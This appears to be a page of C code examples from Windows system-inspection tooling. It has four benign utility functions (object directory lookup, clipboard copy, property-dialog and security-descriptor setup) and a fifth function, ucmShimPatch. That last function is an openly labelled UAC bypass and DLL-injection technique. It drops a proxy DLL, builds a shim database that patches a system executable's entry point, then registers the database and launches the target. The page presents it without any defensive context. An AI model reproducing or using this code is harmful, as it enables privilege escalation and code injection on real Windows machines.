Пример #1
0
/*
* supOpenDirectoryForObject
*
* Purpose:
*
* Open directory for given object, handle self case
*
*/
HANDLE supOpenDirectoryForObject(
	_In_ LPWSTR lpObjectName,
	_In_ LPWSTR lpDirectory
	)
{
	HANDLE hDirectory;
	SIZE_T i, l, rdirLen, ldirSz;
	LPWSTR SingleDirName, LookupDirName;
	BOOL needFree = FALSE;

	if (
		(lpObjectName == NULL) ||
		(lpDirectory == NULL)
		) 
	{
		return NULL;
	}

	LookupDirName = lpDirectory;

	//
	// 1) Check if object is directory self
	// Extract directory name and compare (case insensitive) with object name
	// Else go to 3
	//
	l = 0;
	rdirLen = _strlen(lpDirectory);
	for (i = 0; i < rdirLen; i++) {
		if (lpDirectory[i] == '\\')
			l = i + 1;
	}
	SingleDirName = &lpDirectory[l];
	if (_strcmpi(SingleDirName, lpObjectName) == 0) {
		//
		//  2) If we are looking for directory, move search directory up
		//  e.g. lpDirectory = \ObjectTypes, lpObjectName = ObjectTypes then lpDirectory = \ 
		//
		ldirSz = rdirLen * sizeof(WCHAR) + sizeof(UNICODE_NULL);
		LookupDirName = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, ldirSz);
		if (LookupDirName == NULL)
			return NULL;

		needFree = TRUE;

		//special case for root 
		if (l == 1) l++;
	
		supCopyMemory(LookupDirName, ldirSz, lpDirectory, (l - 1) * sizeof(WCHAR));
	}
	//
	// 3) Open directory
	//
	hDirectory = supOpenDirectory(LookupDirName);

	if (needFree) {
		HeapFree(GetProcessHeap(), 0, LookupDirName);
	}

	return hDirectory;
}
Пример #2
0
/*
* supClipboardCopy
*
* Purpose:
*
* Copy text to the clipboard.
*
*/
VOID supClipboardCopy(
	_In_ LPWSTR lpText,
	_In_ SIZE_T cbText
	)
{
	LPWSTR  lptstrCopy;
	HGLOBAL hglbCopy;
	SIZE_T	dwSize;

	if (OpenClipboard(NULL)) {
		EmptyClipboard();
		dwSize = cbText + sizeof(UNICODE_NULL);
		hglbCopy = GlobalAlloc(GMEM_MOVEABLE | GMEM_ZEROINIT, dwSize);
		if (hglbCopy != NULL) {
			lptstrCopy = GlobalLock(hglbCopy);
			if (lptstrCopy) {
				supCopyMemory(lptstrCopy, dwSize, lpText, cbText);
			}
			GlobalUnlock(hglbCopy);
			SetClipboardData(CF_UNICODETEXT, hglbCopy);
		}
		CloseClipboard();
	}
}
Пример #3
0
/*
* propSetBasicInfo
*
* Purpose:
*
* Set information values for Basic properties page
*
*/
VOID propSetBasicInfo(
    _In_ PROP_OBJECT_INFO *Context,
    _In_ HWND hwndDlg
)
{
    BOOL     ExtendedInfoAvailable = FALSE;
    POBJINFO InfoObject = NULL;

    if (Context == NULL) {
        return;
    }
    SetDlgItemText(hwndDlg, ID_OBJECT_NAME, Context->lpObjectName);
    SetDlgItemText(hwndDlg, ID_OBJECT_TYPE, Context->lpObjectType);

    //desktops should be parsed differently
    if (Context->TypeIndex != TYPE_DESKTOP) {

        //try to dump object info
        InfoObject = ObQueryObject(Context->lpCurrentObjectPath, Context->lpObjectName);
        ExtendedInfoAvailable = (InfoObject != NULL);
        if (InfoObject == NULL) {
            SetDlgItemText(hwndDlg, ID_OBJECT_ADDR, L"");
            SetDlgItemText(hwndDlg, ID_OBJECT_HEADER, L"");
        }
        else {
            //make copy of received dump
            supCopyMemory(&Context->ObjectInfo, sizeof(OBJINFO), InfoObject, sizeof(OBJINFO));

            //
            // Set Object Address, Header Address, NP/PP Charge, RefCount, HandleCount, Attributes.
            //
            propSetBasicInfoEx(hwndDlg, InfoObject);
            supHeapFree(InfoObject);
        }
    }

    //
    // Query Basic Information extended fields per Type.
    // If extended info not available each routine should query basic info itself.
    //
    switch (Context->TypeIndex) {
    case TYPE_DIRECTORY:
        //if TRUE skip this because directory is basic dialog and basic info already set
        if (ExtendedInfoAvailable == FALSE) {
            propBasicQueryDirectory(Context, hwndDlg);
        }
        break;
    case TYPE_DRIVER:
        propBasicQueryDriver(Context, hwndDlg);
        break;
    case TYPE_DEVICE:
        propBasicQueryDevice(Context, hwndDlg);
        break;
    case TYPE_SYMLINK:
        propBasicQuerySymlink(Context, hwndDlg, ExtendedInfoAvailable);
        break;
    case TYPE_KEY:
        propBasicQueryKey(Context, hwndDlg, ExtendedInfoAvailable);
        break;
    case TYPE_MUTANT:
        propBasicQueryMutant(Context, hwndDlg, ExtendedInfoAvailable);
        break;
    case TYPE_EVENT:
        propBasicQueryEvent(Context, hwndDlg, ExtendedInfoAvailable);
        break;
    case TYPE_TIMER:
        propBasicQueryTimer(Context, hwndDlg, ExtendedInfoAvailable);
        break;
    case TYPE_SEMAPHORE:
        propBasicQuerySemaphore(Context, hwndDlg, ExtendedInfoAvailable);
        break;
    case TYPE_SECTION:
        propBasicQuerySection(Context, hwndDlg, ExtendedInfoAvailable);
        break;
    case TYPE_WINSTATION:
        propBasicQueryWindowStation(Context, hwndDlg, ExtendedInfoAvailable);
        break;
    case TYPE_JOB:
        propBasicQueryJob(Context, hwndDlg, ExtendedInfoAvailable);
        break;
    case TYPE_DESKTOP:
        propBasicQueryDesktop(Context, hwndDlg);
        break;
    case TYPE_IOCOMPLETION:
        propBasicQueryIoCompletion(Context, hwndDlg, ExtendedInfoAvailable);
        break;
    case TYPE_MEMORYPARTITION:
        propBasicQueryMemoryPartition(Context, hwndDlg);
        break;
    }

}
Пример #4
0
/*
* propSecurityConstructor
*
* Purpose:
*
* Initialize class object, query type info, Vtbl, AccessTable, object specific methods.
*
*/
HRESULT propSecurityConstructor(
    _In_ IObjectSecurity *This,
    _In_ PROP_OBJECT_INFO *Context,
    _In_ POPENOBJECTMETHOD OpenObjectMethod,
    _In_opt_ PCLOSEOBJECTMETHOD CloseObjectMethod,
    _In_ ULONG psiFlags
)
{
    BOOL                        cond = FALSE;
    ULONG                       bytesNeeded = 0L;
    NTSTATUS                    status;
    SIZE_T                      Size;
    HRESULT                     hResult;
    HANDLE                      hObject = NULL;
    SI_ACCESS                  *TypeAccessTable = NULL;
    POBJECT_TYPE_INFORMATION    TypeInfo = NULL;

    do {
        This->OpenObjectMethod = OpenObjectMethod;

        //if no close method specified, use default
        if (CloseObjectMethod == NULL) {
            This->CloseObjectMethod = propDefaultCloseObject;
        }
        else {
            This->CloseObjectMethod = CloseObjectMethod;
        }

        if (!This->OpenObjectMethod(Context, &hObject, READ_CONTROL)) {
            hResult = E_ACCESSDENIED;
            break;
        }

        bytesNeeded = 0;
        status = NtQueryObject(hObject, ObjectTypeInformation, NULL, 0, &bytesNeeded);
        if (bytesNeeded == 0) {
            hResult = HRESULT_FROM_WIN32(RtlNtStatusToDosError(status));
            break;
        }

        TypeInfo = supHeapAlloc(bytesNeeded);
        if (TypeInfo == NULL) {
            hResult = HRESULT_FROM_WIN32(GetLastError());
            break;
        }

        status = NtQueryObject(hObject, ObjectTypeInformation, TypeInfo,
            bytesNeeded, &bytesNeeded);
        if (!NT_SUCCESS(status)) {
            hResult = HRESULT_FROM_WIN32(RtlNtStatusToDosError(status));
            break;
        }

        This->GenericMapping = TypeInfo->GenericMapping;
        This->ValidAccessMask = TypeInfo->ValidAccessMask;

        supHeapFree(TypeInfo);
        TypeInfo = NULL;

        This->lpVtbl = &g_Vtbl;
        This->ObjectContext = Context;
        This->hInstance = g_WinObj.hInstance;
        This->psiFlags = psiFlags;

        TypeAccessTable = propGetAccessTable(This);

        //allocate access table
        Size = (MAX_KNOWN_GENERAL_ACCESS_VALUE + This->dwAccessMax) * sizeof(SI_ACCESS);
        This->AccessTable = supHeapAlloc(Size);
        if (This->AccessTable == NULL) {
            hResult = HRESULT_FROM_WIN32(GetLastError());
            break;
        }

        //copy object specific access table if it present
        if (TypeAccessTable && This->dwAccessMax) {
            supCopyMemory(This->AccessTable,
                Size,
                TypeAccessTable,
                (This->dwAccessMax * sizeof(SI_ACCESS))
            );
        }

        if (This->ValidAccessMask & DELETE) {
            supCopyMemory(&This->AccessTable[This->dwAccessMax++], sizeof(SI_ACCESS),
                &GeneralAccessValues[0], sizeof(SI_ACCESS));
        }
        if (This->ValidAccessMask & READ_CONTROL) {
            supCopyMemory(&This->AccessTable[This->dwAccessMax++], sizeof(SI_ACCESS),
                &GeneralAccessValues[1], sizeof(SI_ACCESS));
        }
        if (This->ValidAccessMask & WRITE_DAC) {
            supCopyMemory(&This->AccessTable[This->dwAccessMax++], sizeof(SI_ACCESS),
                &GeneralAccessValues[2], sizeof(SI_ACCESS));
        }
        if (This->ValidAccessMask & WRITE_OWNER) {
            supCopyMemory(&This->AccessTable[This->dwAccessMax++], sizeof(SI_ACCESS),
                &GeneralAccessValues[3], sizeof(SI_ACCESS));
        }
        if (This->ValidAccessMask & SYNCHRONIZE) {
            supCopyMemory(&This->AccessTable[This->dwAccessMax++], sizeof(SI_ACCESS),
                &GeneralAccessValues[4], sizeof(SI_ACCESS));
        }
        hResult = S_OK;

    } while (cond);

    //cleanup
    This->CloseObjectMethod(This, hObject);
    if (TypeInfo) {
        supHeapFree(TypeInfo);
    }
    return hResult;
}
Пример #5
0
/*
* ucmShimPatch
*
* Purpose:
*
* Build, register shim patch database and execute target app with forced Entry Point Override.
* Aside from UAC bypass this is also dll injection technique.
*
*/
BOOL ucmShimPatch(
	CONST PVOID ProxyDll,
	DWORD ProxyDllSize
	)
{
	BOOL bResult = FALSE, cond = FALSE;
	PDB	 hpdb;
	GUID dbGUID, exeGUID;
	
	WCHAR szTempDirectory[MAX_PATH * 2];
	WCHAR szShimDbPath[MAX_PATH * 2];
	WCHAR szSdbinstPath[MAX_PATH * 2];
	WCHAR szSystemDirectory[MAX_PATH];

	DWORD		indexid = MAXDWORD, sz, epRVA = 0;
	TAGID		dbrf, libref, patchref, exeref, matchfileref, patchfileref;
	PBYTE		tmp;
	PPATCHBITS	patchbits;

	RtlSecureZeroMemory(szSdbinstPath, sizeof(szSdbinstPath));
	RtlSecureZeroMemory(szShimDbPath, sizeof(szShimDbPath));

	do {

		if (!GetSystemDirectoryW(szSystemDirectory, MAX_PATH)) {
			break;
		}
		wsprintfW(szSdbinstPath, SHIM_SDBINSTALLER, szSystemDirectory);

		if (CoCreateGuid(&dbGUID) != S_OK) {
			break;
		}
		if (CoCreateGuid(&exeGUID) != S_OK) {
			break;
		}

		RtlSecureZeroMemory(szTempDirectory, sizeof(szTempDirectory));

		if (!GetTempPathW(MAX_PATH, szTempDirectory)) {
			break;
		}

		// drop Fubuki
		RtlSecureZeroMemory(szShimDbPath, sizeof(szShimDbPath));
		wsprintfW(szShimDbPath, L"%wsr3.dll", szTempDirectory);
		if (!supWriteBufferToFile(szShimDbPath, ProxyDll, ProxyDllSize))
		{
			break;
		}

		RtlSecureZeroMemory(szShimDbPath, sizeof(szShimDbPath));

		wsprintfW(szShimDbPath, L"%wsamuzani.sdb", szTempDirectory);

		hpdb = SdbCreateDatabase(szShimDbPath, DOS_PATH);
		if (hpdb == NULL) {
			break;
		}

		if (!SdbDeclareIndex(hpdb, TAG_EXE, TAG_NAME, 1, TRUE, &indexid)) {
			break;
		}
		if (!SdbStartIndexing(hpdb, indexid)) {
			break;
		}
		SdbStopIndexing(hpdb, indexid);
		SdbCommitIndexes(hpdb);

		// begin DATABASE {
		dbrf = SdbBeginWriteListTag(hpdb, TAG_DATABASE);		
		if (!SdbWriteStringTag(hpdb, TAG_NAME, L"amuzani")) {
			break;
		}
		SdbWriteBinaryTag(hpdb, TAG_DATABASE_ID, (PBYTE)&dbGUID, sizeof(GUID));
		SdbWriteDWORDTag(hpdb, TAG_OS_PLATFORM, 0x1); //<- win32

		// begin LIBRARY {
		libref = SdbBeginWriteListTag(hpdb, TAG_LIBRARY);

		patchref = SdbBeginWriteListTag(hpdb, TAG_PATCH); // begin LIBRARY-PATCH
		SdbWriteStringTag(hpdb, TAG_NAME, SHIMPATCH_BINARYNAME);

		// query EP RVA for target
		RtlSecureZeroMemory(szTempDirectory, sizeof(szTempDirectory));
		wsprintfW(szTempDirectory, L"%ws\\%ws", szSystemDirectory, SHIMPATCH_EXENAME);
		epRVA = supQueryEntryPointRVA(szTempDirectory);
		if (epRVA == 0) {
			break;
		}

		tmp = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, 32 * 1024);
		if (tmp != NULL) {
			patchbits = (PPATCHBITS)tmp;
			sz = 0;
			patchbits->Opcode = PATCH_REPLACE;
			patchbits->RVA = epRVA;
			_strcpy_w(patchbits->ModuleName, SHIMPATCH_EXENAME);
			supCopyMemory((char *)&patchbits->Pattern, sizeof(patchcode32), patchcode32, sizeof(patchcode32));
			patchbits->PatternSize = sizeof(patchcode32);
			patchbits->ActionSize = sizeof(PATCHBITS) + patchbits->PatternSize;
			sz += patchbits->ActionSize;
			SdbWriteBinaryTag(hpdb, TAG_PATCH_BITS, tmp, sz);
			HeapFree(GetProcessHeap(), 0, tmp);
		}
		SdbEndWriteListTag(hpdb, patchref); // end LIBRARY-PATCH

		// end LIBRARY
		SdbEndWriteListTag(hpdb, libref);

		SdbStartIndexing(hpdb, indexid);

		// begin EXE {
		exeref = SdbBeginWriteListTag(hpdb, TAG_EXE);
		SdbWriteStringTag(hpdb, TAG_NAME, SHIMPATCH_EXENAME);
		SdbWriteStringTag(hpdb, TAG_APP_NAME, SHIMPATCH_EXENAME);
		SdbWriteBinaryTag(hpdb, TAG_EXE_ID, (PBYTE)&exeGUID, sizeof(GUID));

		// begin MATCH {
		matchfileref = SdbBeginWriteListTag(hpdb, TAG_MATCHING_FILE);
		SdbWriteStringTag(hpdb, TAG_NAME, SHIMPATCH_EXENAME);
		SdbWriteStringTag(hpdb, TAG_COMPANY_NAME, SHIMPATCH_MSFTFULL);
		SdbEndWriteListTag(hpdb, matchfileref); // } end MATCH

		patchfileref = SdbBeginWriteListTag(hpdb, TAG_PATCH_REF);
		SdbWriteStringTag(hpdb, TAG_NAME, SHIMPATCH_BINARYNAME);
		SdbWriteDWORDTag(hpdb, TAG_PATCH_TAGID, patchref);
		SdbEndWriteListTag(hpdb, patchfileref);

		SdbEndWriteListTag(hpdb, exeref); // } end EXE

		// } end DATABASE
		SdbEndWriteListTag(hpdb, dbrf);

		SdbCloseDatabaseWrite(hpdb);

		// Register db and run target.
		bResult = ucmRegisterAndRunTarget(szSystemDirectory, szSdbinstPath, szShimDbPath, L"%ws\\iscsicli.exe", TRUE);

	} while (cond);

	return bResult;
}